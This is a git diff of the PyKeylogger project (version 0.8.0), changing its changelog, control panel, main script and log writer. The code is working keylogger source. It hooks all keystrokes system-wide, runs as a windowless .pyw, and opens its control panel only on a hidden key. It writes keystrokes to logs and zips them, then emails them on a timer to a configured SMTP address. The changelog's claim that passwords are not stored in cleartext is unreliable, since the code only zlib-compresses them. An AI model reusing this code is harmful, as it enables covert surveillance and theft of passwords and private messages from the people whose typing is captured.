diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT
index 60314ac..7a979f8 100644
--- a/CHANGELOG.TXT
+++ b/CHANGELOG.TXT
@@ -1,6 +1,18 @@
PyKeylogger Changelog
---------------------
+-----
+Version 0.8.0 (2006-08-04)
+
+*) Fixed setup.py so that it automatically adds data files to the distribution when making the executable.
+*) Added graphical control panel that allows changing all configuration items, as well as taking various actions manually.
+*) Using the more powerful ConfigObj module to read configuration file, instead of ConfigParser. This allows preservation of the .ini file order and comments when changing things through the GUI, as well as validation of option values.
+*) Added the highly informative "welcome screen"
+*) The passwords are now not stored in cleartext in the .ini file, to provide some security against casual snooping.
+*) Add capability to zip logfiles to zip and delete the .txts, to save disk space, separately from the send email option.
+*) Removed the "flush key" feature since it is now twice obsoleted - there is the automatic flush, and there is the capability to flush through the control panel.
+*) Protected access to the conntrol panel with a "master password". Default password is left blank; you can change it in the control panel.
+
-----
Version 0.7.0 (2006-07-19)
diff --git a/controlpanel.py b/controlpanel.py
index 7f3e735..c9b862a 100644
--- a/controlpanel.py
+++ b/controlpanel.py
@@ -1,27 +1,46 @@
from Tkinter import *
-import tkSimpleDialog, tkMessageBox
-import ConfigParser
+import mytkSimpleDialog # mytkSimpleDialog adds relative widnow placement configuration to tkSimpleDialog
+import tkMessageBox
+#import ConfigParser
+from configobj import ConfigObj
+from validate import Validator
from tooltip import ToolTip
+import zlib
class PyKeyloggerControlPanel:
- def __init__(self, settings, mainapp):
+ def __init__(self, cmdoptions, mainapp):
+ self.cmdoptions=cmdoptions
self.mainapp=mainapp
- self.settings=settings
+ self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+
self.root = Tk()
- #self.root.config(height=20, width=20)
+ self.root.config(height=20, width=20)
+ self.root.geometry("+200+200")
+ self.root.protocol("WM_DELETE_WINDOW", self.ClosePanel)
#self.root.iconify()
- self.PasswordDialog()
- self.root.title("PyKeylogger Control Panel")
+ #if self.panelsettings['General']['Master Password'] != "x\x9c\x03\x00\x00\x00\x00\x01":
+ # self.PasswordDialog()
+ #print len(self.panelsettings['General']['Master Password'])
+ #print zlib.decompress(self.panelsettings['General']['Master Password'])
+ passcheck = self.PasswordDialog()
+
# call the password authentication widget
# if password match, then create the main panel
- self.InitializeMainPanel()
- self.root.mainloop()
+ if passcheck == 0:
+ self.InitializeMainPanel()
+ self.root.mainloop()
+ elif passcheck == 1:
+ self.ClosePanel()
def InitializeMainPanel(self):
#create the main panel window
#root = Tk()
#root.title("PyKeylogger Control Panel")
# create a menu
+
+ self.root.title("PyKeylogger Control Panel")
+ self.root.config(height=200, width=200)
+
menu = Menu(self.root)
self.root.config(menu=menu)
@@ -30,73 +49,97 @@ class PyKeyloggerControlPanel:
actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel."))
actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles))
actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail))
- actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
- actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
- actionmenu.add_command(label="Delete logs older than " + self.settings['maxlogage'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
+ #actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
+ #actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
+ actionmenu.add_command(label="Delete logs older than " + self.panelsettings['Log Maintenance']['Max Log Age'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
actionmenu.add_separator()
- actionmenu.add_command(label="Close Control Panel", command=self.root.destroy)
+ actionmenu.add_command(label="Close Control Panel", command=self.ClosePanel)
actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop)
optionsmenu = Menu(menu)
menu.add_cascade(label="Configuration", menu=optionsmenu)
- optionsmenu.add_command(label="General Settings", command=Command(self.CreateConfigPanel, "general"))
- optionsmenu.add_command(label="Email Settings", command=Command(self.CreateConfigPanel, "email"))
- optionsmenu.add_command(label="FTP Settings", command=Command(self.CreateConfigPanel, "ftp"))
- optionsmenu.add_command(label="SFTP Settings", command=Command(self.CreateConfigPanel, "sftp"))
- optionsmenu.add_command(label="Log Maintenance Settings", command=Command(self.CreateConfigPanel, "logmaintenance"))
- optionsmenu.add_command(label="Timestamp Settings", command=Command(self.CreateConfigPanel, "timestamp"))
+ for section in self.panelsettings.sections:
+ optionsmenu.add_command(label=section + " Settings", command=Command(self.CreateConfigPanel, section))
- #self.root.mainloop()
-
def PasswordDialog(self):
#passroot=Tk()
#passroot.title("Enter Password")
- mypassword = tkSimpleDialog.askstring("Enter Password", "enter it:", show="*")
-
+ mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:", show="*", rootx_offset=-20, rooty_offset=-35)
+ if mypassword != zlib.decompress(self.panelsettings['General']['Master Password']):
+ if mypassword != None:
+ tkMessageBox.showerror("Incorrect Password", "Incorrect Password")
+ return 1
+ else:
+ return 0
+
+ def ClosePanel(self):
+ self.mainapp.panel = False
+ self.root.destroy()
+
def callback(self):
tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented")
- def CreateConfigPanel(self, section="general"):
- self.panelconfig = ConfigParser.SafeConfigParser()
- self.panelconfig.readfp(open(self.settings['configfile']))
- self.panelsettings = dict(self.panelconfig.items(section))
- self.configpanel = ConfigPanel(self.root, title=section + " settings", settings=self.panelsettings)
- # now we dump all this in a frame in root window in a grid
+ def CreateConfigPanel(self, section):
+
+ # reload the settings so that we are reading from the file,
+ # rather than from the potentially modified but not yet written out configobj
+ del(self.panelsettings)
+ self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+
+ self.configpanel = ConfigPanel(self.root, title=section + " Settings", settings=self.panelsettings, section=section)
+
-class ConfigPanel(tkSimpleDialog.Dialog):
+class ConfigPanel(mytkSimpleDialog.Dialog):
- def __init__(self, parent, title=None, settings={}):
+ def __init__(self, parent, settings, section, title=None):
self.settings=settings
- tkSimpleDialog.Dialog.__init__(self, parent, title)
+ self.section=section
+ mytkSimpleDialog.Dialog.__init__(self, parent, title)
def body(self, master):
index=0
self.entrydict=dict()
self.tooltipdict=dict()
- for key in self.settings.keys():
- if key.find("tooltip") == -1:
+ for key in self.settings[self.section].keys():
+ if key.find("Tooltip") == -1:
Label(master, text=key).grid(row=index, sticky=W)
self.entrydict[key]=Entry(master)
- self.entrydict[key].insert(END, self.settings[key])
+ if key.find("Password") == -1:
+ self.entrydict[key].insert(END, self.settings[self.section][key])
+ else:
+ self.entrydict[key].insert(END, zlib.decompress(self.settings[self.section][key]))
self.entrydict[key].grid(row=index, column=1)
- self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[key + "tooltip"])
+ self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[self.section][key + " Tooltip"])
index += 1
-
+
+ def validate(self):
+
+ for key in self.entrydict.keys():
+ if key.find("Password") == -1:
+ self.settings[self.section][key] = self.entrydict[key].get()
+ else:
+ self.settings[self.section][key] = zlib.compress(self.entrydict[key].get())
+ errortext="Some of your input contains errors. Detailed error output below.\n\n"
+
+ val = Validator()
+ valresult=self.settings.validate(val, preserve_errors=True)
+ if valresult != True:
+ if valresult.has_key(self.section):
+ sectionval = valresult[self.section]
+ for key in sectionval.keys():
+ if sectionval[key] != True:
+ errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
+ tkMessageBox.showerror("Erroneous input. Please try again.", errortext)
+ return 0
+ else:
+ return 1
def apply(self):
- pass
- #~ def __init__(self):
- #~ # create app window with sensitive data settings
- #~ # general password
- #~ # smtpusername
- #~ # smtppassword
- #~ # ftpusername
- #~ # ftppassword
- #~ # sftpusername
- #~ # sftppassword
- #~ pass
+ # this is where we write out the config file to disk
+ self.settings.write()
+ tkMessageBox.showinfo("Restart PyKeylogger", "You must restart PyKeylogger for the new settings to take effect.")
class Command:
''' A class we can use to avoid using the tricky "Lambda" expression.
@@ -116,7 +159,7 @@ class Command:
if __name__ == '__main__':
# some simple testing code
- settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"pykeylogger.ini"}
+ settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
class BlankKeylogger:
def stop(self):
pass
@@ -132,6 +175,12 @@ if __name__ == '__main__':
pass
def DeleteOldLogs(self):
pass
-
+
+ class BlankOptions:
+ def __init__(self):
+ self.configfile="pykeylogger.ini"
+ self.configval="pykeylogger.val"
+
klobject=BlankKeylogger()
- myapp = PyKeyloggerControlPanel(settings, klobject)
\ No newline at end of file
+ cmdoptions=BlankOptions()
+ myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
diff --git a/keylogger.pyw b/keylogger.pyw
index 8039456..f43a879 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -7,8 +7,11 @@ from optparse import OptionParser
import traceback
from logwriter import LogWriter
import version
-import ConfigParser
+#import ConfigParser
+from configobj import ConfigObj
+from validate import Validator
from controlpanel import PyKeyloggerControlPanel
+from supportscreen import SupportScreen
import Tkinter, tkMessageBox
class KeyLogger:
@@ -21,12 +24,13 @@ class KeyLogger:
self.hm = pyHook.HookManager()
self.hm.KeyDown = self.OnKeyboardEvent
- if self.settings['hookkeyboard'] == 'True':
+ if self.settings['General']['Hook Keyboard'] == True:
self.hm.HookKeyboard()
#if self.options.hookMouse == True:
# self.hm.HookMouse()
- self.lw = LogWriter(self.settings)
+ self.lw = LogWriter(self.settings, self.cmdoptions)
+ self.panel = False
def start(self):
pythoncom.PumpMessages()
@@ -38,9 +42,13 @@ class KeyLogger:
'''
self.lw.WriteToLogFile(event)
- if event.Key == self.settings['controlkey']:
- PyKeyloggerControlPanel(self.settings, self)
- #self.stop()
+ if event.Key == self.settings['General']['Control Key']:
+ if not self.panel:
+ self.lw.PrintDebug("starting panel\n")
+ self.panel = True
+ PyKeyloggerControlPanel(self.cmdoptions, self)
+ #~ else:
+ #~ print "not starting any panels"
return True
@@ -56,35 +64,59 @@ class KeyLogger:
parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").")
parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")
parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]")
+ parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]")
- parser.set_defaults(debug=False, configfile="pykeylogger.ini")
+ parser.set_defaults(debug=False,
+ configfile="pykeylogger.ini",
+ configval="pykeylogger.val")
- (self.options, args) = parser.parse_args()
+ (self.cmdoptions, args) = parser.parse_args()
def ParseConfigFile(self):
'''Read config file options from .ini file.
Filename as specified by "--configfile" option, default "pykeylogger.ini".
+ Validation file specified by "--configval" option, default "pykeylogger.val".
+
+ Give detailed error box and exit if validation on the config file fails.
'''
- self.config = ConfigParser.SafeConfigParser()
- self.config.readfp(open(self.options.configfile))
+ #~ self.config = ConfigParser.SafeConfigParser()
+ #~ self.config.readfp(open(self.options.configfile))
+
+ #~ self.settings = dict(self.config.items('general'))
+ #~ self.settings.update(dict(self.config.items('email')))
+ #~ self.settings.update(dict(self.config.items('logmaintenance')))
+ #~ self.settings.update(dict(self.config.items('timestamp')))
+ #~ self.settings.update(dict(self.config.items('zip')))
+ #~ self.settings.update(self.options.__dict__) # add commandline options to our settings dict
+ self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+
+ # validate the config file
+ errortext="Some of your input contains errors. Detailed error output below.\n\n"
+ val = Validator()
+ valresult = self.settings.validate(val, preserve_errors=True)
+ if valresult != True:
+ for section in valresult.keys():
+ if valresult[section] != True:
+ sectionval = valresult[section]
+ for key in sectionval.keys():
+ if sectionval[key] != True:
+ errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
+ tkMessageBox.showerror("Errors in config file. Exiting.", errortext)
+ sys.exit()
- self.settings = dict(self.config.items('general'))
- self.settings.update(dict(self.config.items('email')))
- self.settings.update(dict(self.config.items('logmaintenance')))
- self.settings.update(dict(self.config.items('timestamp')))
- self.settings.update(dict(self.config.items('zip')))
- self.settings.update(self.options.__dict__) # add commandline options to our settings dict
-
if __name__ == '__main__':
def main_is_frozen():
return (hasattr(sys, "frozen") or # new py2exe
hasattr(sys, "importers") or # old py2exe
imp.is_frozen("__main__")) # tools/freeze
- if not main_is_frozen(): #comment out this if statement to remove support request
+ if main_is_frozen(): #comment out this if statement block to remove support request
root=Tkinter.Tk()
- tkMessageBox.showinfo(title="Please support PyKeylogger", message="Please support PyKeylogger")
+ root.geometry("100x100+200+200")
+ warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
root.destroy()
+ del(warn)
+
kl = KeyLogger()
kl.start()
diff --git a/logwriter.py b/logwriter.py
index bcbb6da..ce6ce2c 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -22,13 +22,14 @@ from email import Encoders
class LogWriter:
'''Manages the writing of log files and logfile maintenance activities.
'''
- def __init__(self, settings):
+ def __init__(self, settings, cmdoptions):
self.settings = settings
- self.settings['dirname'] = os.path.normpath(self.settings['dirname'])
+ self.cmdoptions = cmdoptions
+ #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
try:
- os.makedirs(self.settings['dirname'], 0777)
+ os.makedirs(self.settings['General']['Log Directory'], 0777)
except OSError, detail:
if(detail.errno==17): #if directory already exists, swallow the error
pass
@@ -40,9 +41,9 @@ class LogWriter:
self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
self.writeTarget = ""
- if self.settings['systemlog'] != 'None':
+ if self.settings['General']['System Log'] != 'None':
try:
- self.systemlog = open(os.path.join(self.settings['dirname'], self.settings['systemlog']), 'a')
+ self.systemlog = open(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log']), 'a')
except OSError, detail:
if(detail.errno==17): #if file already exists, swallow the error
pass
@@ -58,34 +59,36 @@ class LogWriter:
self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape
self.asciiSubset.extend(range(32,255)) #all normal printable chars
- if self.settings['parsebackspace'] == 'True':
+ if self.settings['General']['Parse Backspace'] == True:
self.asciiSubset.remove(8) #remove backspace from allowed chars if needed
- if self.settings['parseescape'] == 'True':
+ if self.settings['General']['Parse Escape'] == True:
self.asciiSubset.remove(27) #remove escape from allowed chars if needed
+ # todo: no need for float() typecasting, since that is now taken care by config validation
+
# initialize the automatic zip and email timer, if enabled in .ini
- if self.settings['smtpsendemail'] == 'True':
- self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60*60, 0, self.SendZipByEmail)
+ if self.settings['E-mail']['SMTP Send Email'] == True:
+ self.emailtimer = mytimer.MyTimer(float(self.settings['E-mail']['Email Interval'])*60*60, 0, self.SendZipByEmail)
self.emailtimer.start()
# initialize automatic old log deletion timer
- if self.settings['deleteoldlogs'] == 'True':
- self.oldlogtimer = mytimer.MyTimer(float(self.settings['agecheckinterval'])*60*60, 0, self.DeleteOldLogs)
+ if self.settings['Log Maintenance']['Delete Old Logs'] == True:
+ self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs)
self.oldlogtimer.start()
# initialize the automatic timestamp timer
- if self.settings['timestampenable'] == 'True':
- self.timestamptimer = mytimer.MyTimer(float(self.settings['timestampinterval'])*60, 0, self.WriteTimestamp)
+ if self.settings['Timestamp']['Timestamp Enable'] == True:
+ self.timestamptimer = mytimer.MyTimer(float(self.settings['Timestamp']['Timestamp Interval'])*60, 0, self.WriteTimestamp)
self.timestamptimer.start()
# initialize the automatic log flushing timer
- self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
+ self.flushtimer = mytimer.MyTimer(float(self.settings['General']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
self.flushtimer.start()
# initialize some automatic zip stuff
- self.settings['ziparchivename'] = "log_[date].zip"
- if self.settings['zipenable'] == 'True':
- self.ziptimer = mytimer.MyTimer(float(self.settings['zipinterval'])*60*60, 0, self.ZipLogFiles)
+ #self.settings['Zip']['ziparchivename'] = "log_[date].zip"
+ if self.settings['Zip']['Zip Enable'] == True:
+ self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
self.ziptimer.start()
@@ -95,10 +98,10 @@ class LogWriter:
loggable = self.TestForNoLog(event) # see if the program is in the no-log list.
if not loggable:
- if self.settings['debug']: self.PrintDebug("not loggable, we are outta here\n")
+ if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
return
- if self.settings['debug']: self.PrintDebug("loggable, lets log it\n")
+ if self.cmdoptions.debug: self.PrintDebug("loggable, lets log it\n")
loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems
@@ -108,7 +111,7 @@ class LogWriter:
if event.Ascii in self.asciiSubset:
self.PrintStuff(chr(event.Ascii))
- if event.Ascii == 13 and self.settings['addlinefeed'] == 'True':
+ if event.Ascii == 13 and self.settings['General']['Add Line Feed'] == True:
self.PrintStuff(chr(10)) #add line feed after CR,if option is set
#we translate all the special keys, such as arrows, backspace, into text strings for logging
@@ -117,11 +120,11 @@ class LogWriter:
self.PrintStuff('[KeyName:' + event.Key + ']')
#translate backspace into text string, if option is set.
- if event.Ascii == 8 and self.settings['parsebackspace'] == 'True':
+ if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True:
self.PrintStuff('[KeyName:' + event.Key + ']')
#translate escape into text string, if option is set.
- if event.Ascii == 27 and self.settings['parseescape'] == True:
+ if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True:
self.PrintStuff('[KeyName:' + event.Key + ']')
# this has now been disabled, since flushing is done both automatically at interval,
@@ -134,8 +137,8 @@ class LogWriter:
is listed in the noLog option, and True otherwise.'''
self.processName = self.GetProcessNameFromHwnd(event.Window)
- if self.settings['nolog'] != 'None':
- for path in self.settings['nolog'].split(';'):
+ if self.settings['General']['Applications Not Logged'] != 'None':
+ for path in self.settings['General']['Applications Not Logged'].split(';'):
if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
return False
return True
@@ -145,7 +148,7 @@ class LogWriter:
'''
self.PrintDebug(logstring)
if self.log != None: self.log.flush()
- if self.settings['systemlog'] != 'None': self.systemlog.flush()
+ if self.settings['General']['System Log'] != 'None': self.systemlog.flush()
def ZipLogFiles(self):
'''Create a zip archive of all files in the log directory.
@@ -154,10 +157,12 @@ class LogWriter:
'''
self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")
+ zipFilePattern = "log_[date].zip"
zipFileTime = time.strftime("%Y%m%d_%H%M%S")
- zipFileName = re.sub(r"\[date\]", zipFileTime, self.settings['ziparchivename'])
+ zipFileRawTime = time.time()
+ zipFileName = re.sub(r"\[date\]", zipFileTime, zipFilePattern)
- os.chdir(self.settings['dirname'])
+ os.chdir(self.settings['General']['Log Directory'])
myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED)
for root, dirs, files in os.walk(os.curdir):
@@ -175,9 +180,12 @@ class LogWriter:
# write the name of the last completed zip file
# so that we can check against this when emailing or ftping, to make sure
# we do not try to transfer a zipfile which is in the process of being created
- ziplog=open(os.path.join(self.settings['dirname'], "ziplog.txt"), 'w')
+ ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
ziplog.write(zipFileName)
ziplog.close()
+
+ #now we can delete all the logs that have not been modified since we made the zip.
+ self.DeleteOldLogs(zipFileRawTime)
def CheckIfZipFile(self, filename):
'''Helper function for ZipLogFiles to make sure we don't include
@@ -207,83 +215,102 @@ class LogWriter:
#~ write new lastemailed to emaillog.txt
- self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n")
+ self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
- if self.settings['zipenable'] == 'False':
+ if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False:
self.ZipLogFiles()
try:
- ziplog = open(os.path.join(self.settings['dirname'], "ziplog.txt"), 'r')
+ ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r')
latestZipFile = ziplog.readline()
ziplog.close()
+ if not self.CheckIfZipFile(latestZipFile):
+ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ return
except:
self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
return
- if not self.CheckIfZipFile(latestZipFile):
- self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
- return
+ #~ if not self.CheckIfZipFile(latestZipFile):
+ #~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ #~ return
try:
- emaillog = open(os.path.join(self.settings['dirname'], "emaillog.txt"), 'r')
+ latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read
+ emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r')
latestZipEmailed = emaillog.readline()
emaillog.close()
+ if not self.CheckIfZipFile(latestZipEmailed):
+ self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ return
except:
self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
- if not self.CheckIfZipFile(latestZipEmailed):
- self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
- return
-
- zipFileList = os.listdir(self.settings['dirname'])
- for filename in zipFileList:
- if not self.CheckIfZipFile(filename):
- zipFileList.remove(filename)
- # we can do the following string comparison due to the structured and dated format of the filenames
- elif filename <= latestZipEmailed or filename > latestZipFile:
- zipFileList.remove(filename)
-
+ #~ if not self.CheckIfZipFile(latestZipEmailed):
+ #~ self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ #~ return
+
+ zipFileList = os.listdir(self.settings['General']['Log Directory'])
+ self.PrintDebug(str(zipFileList))
+ if len(zipFileList) > 0:
+ # removing elements from a list while iterating over it produces undesirable results
+ # so we do the os.listdir again to iterate over
+ for filename in os.listdir(self.settings['General']['Log Directory']):
+ if not self.CheckIfZipFile(filename):
+ zipFileList.remove(filename)
+ self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n")
+ # we can do the following string comparison due to the structured and dated format of the filenames
+ elif filename <= latestZipEmailed or filename > latestZipFile:
+ zipFileList.remove(filename)
+ self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n")
+
+ self.PrintDebug(str(zipFileList))
# set up the message
msg = MIMEMultipart()
- msg['From'] = self.settings['smtpfrom']
- msg['To'] = COMMASPACE.join(self.settings['smtpto'].split(";"))
+ msg['From'] = self.settings['E-mail']['SMTP From']
+ msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";"))
msg['Date'] = formatdate(localtime=True)
- msg['Subject'] = self.settings['smtpsubject']
+ msg['Subject'] = self.settings['E-mail']['SMTP Subject']
- msg.attach( MIMEText(self.settings['smtpmessagebody']) )
+ msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) )
- for file in zipFileList:
- part = MIMEBase('application', "octet-stream")
- part.set_payload( open(os.path.join(self.settings['dirname'], file),"rb").read() )
- Encoders.encode_base64(part)
- part.add_header('Content-Disposition', 'attachment; filename="%s"'
- % os.path.basename(file))
- msg.attach(part)
+ if len(zipFileList) == 0:
+ msg.attach( MIMEText("No new logs present.") )
+
+ if len(zipFileList) > 0:
+ for file in zipFileList:
+ part = MIMEBase('application', "octet-stream")
+ part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() )
+ Encoders.encode_base64(part)
+ part.add_header('Content-Disposition', 'attachment; filename="%s"'
+ % os.path.basename(file))
+ msg.attach(part)
# set up the server and send the message
- mysmtp = smtplib.SMTP(self.settings['smtpserver'])
+ mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'])
- if self.settings['debug']:
+ if self.cmdoptions.debug:
mysmtp.set_debuglevel(1)
- if self.settings['smtpneedslogin'] == 'True':
- mysmtp.login(self.settings['smtpusername'],self.settings['smtppassword'])
- sendingresults=mysmtp.sendmail(self.settings['smtpfrom'], self.settings['smtpto'].split(";"), msg.as_string())
+ if self.settings['E-mail']['SMTP Needs Login'] == True:
+ mysmtp.login(self.settings['E-mail']['SMTP Username'],zlib.decompress(self.settings['E-mail']['SMTP Password']))
+ sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
mysmtp.quit()
# write the latest emailed zip to log for the future
- zipFileList.sort()
- emaillog = open(os.path.join(self.settings['dirname'], "emaillog.txt"), 'w')
- emaillog.write(zipFileList.pop())
- emaillog.close()
+ if len(zipFileList) > 0:
+ zipFileList.sort()
+ emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w')
+ emaillog.write(zipFileList.pop())
+ emaillog.close()
def ZipAndEmailTimerAction(self):
'''This is a timer action function that zips the logs and sends them by email.
deprecated - should delete this.
'''
- self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n")
+ self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
self.ZipLogFiles()
self.SendZipByEmail()
@@ -291,9 +318,9 @@ class LogWriter:
'''Open the appropriate log file, depending on event properties and settings in .ini file.
'''
# if the "onefile" option is set, we don't that much to do:
- if self.settings['onefile'] != 'None':
+ if self.settings['General']['One File'] != 'None':
if self.writeTarget == "":
- self.writeTarget = os.path.join(os.path.normpath(self.settings['dirname']), os.path.normpath(self.settings['onefile']))
+ self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['One File']))
try:
self.log = open(self.writeTarget, 'a')
except OSError, detail:
@@ -307,7 +334,7 @@ class LogWriter:
return False
#write the timestamp upon opening the logfile
- if self.settings['timestampenable'] == 'True': self.WriteTimestamp()
+ if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
self.PrintDebug("writing to: " + self.writeTarget + "\n")
return True
@@ -321,28 +348,28 @@ class LogWriter:
#make sure our filename plus path is not longer than 255 characters, as per filesystem limit.
#filename = filename[0:200] + ".txt"
- if len(os.path.join(self.settings['dirname'], subDirName, filename)) > 255:
- if len(os.path.join(self.settings['dirname'], subDirName)) > 250:
+ if len(os.path.join(self.settings['General']['Log Directory'], subDirName, filename)) > 255:
+ if len(os.path.join(self.settings['General']['Log Directory'], subDirName)) > 250:
self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.")
return False
else:
- filename = filename[0:255-len(os.path.join(self.settings['dirname'], subDirName))-4] + ".txt"
+ filename = filename[0:255-len(os.path.join(self.settings['General']['Log Directory'], subDirName))-4] + ".txt"
#we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going
#into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
#already-opened file.
- if self.writeTarget != os.path.join(self.settings['dirname'], subDirName, filename):
+ if self.writeTarget != os.path.join(self.settings['General']['Log Directory'], subDirName, filename):
if self.writeTarget != "":
self.FlushLogWriteBuffers("flushing and closing old log\n")
#~ self.PrintDebug("flushing and closing old log\n")
#~ self.log.flush()
self.log.close()
- self.writeTarget = os.path.join(self.settings['dirname'], subDirName, filename)
+ self.writeTarget = os.path.join(self.settings['General']['Log Directory'], subDirName, filename)
self.PrintDebug("writeTarget:" + self.writeTarget + "\n")
try:
- os.makedirs(os.path.join(self.settings['dirname'], subDirName), 0777)
+ os.makedirs(os.path.join(self.settings['General']['Log Directory'], subDirName), 0777)
except OSError, detail:
if(detail.errno==17): #if directory already exists, swallow the error
pass
@@ -366,36 +393,54 @@ class LogWriter:
return False
#write the timestamp upon opening a new logfile
- if self.settings['timestampenable'] == 'True': self.WriteTimestamp()
+ if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
return True
def PrintStuff(self, stuff):
'''Write stuff to log, or to debug outputs.
'''
- if not self.settings['debug'] and self.log != None:
+ if not self.cmdoptions.debug and self.log != None:
self.log.write(stuff)
- if self.settings['debug']:
+ if self.cmdoptions.debug:
self.PrintDebug(stuff)
def PrintDebug(self, stuff):
'''Write stuff to console and/or systemlog.
'''
- if self.settings['debug']:
+ if self.cmdoptions.debug:
sys.stdout.write(stuff)
- if self.settings['systemlog'] != 'None':
+ if self.settings['General']['System Log'] != 'None':
self.systemlog.write(stuff)
def WriteTimestamp(self):
self.PrintStuff("\n[" + time.asctime() + "]\n")
- def DeleteOldLogs(self):
- '''Walk the log directory tree and remove any logfiles older than maxlogage (as set in .ini).
+ def DeleteOldLogs(self, lastmodcutoff=None):
+ '''Walk the log directory tree and remove old logfiles.
+
+ if lastmodcutoff is not supplied, delete files older than maxlogage, as specified in .ini file.
+
+ if lastmodcutoff is supplied [in seconds since epoch, as supplied by time.time()],
+ instead delete files that were not modified after lastmodcutoff.
'''
+
+
self.PrintDebug("Analyzing and removing old logfiles.\n")
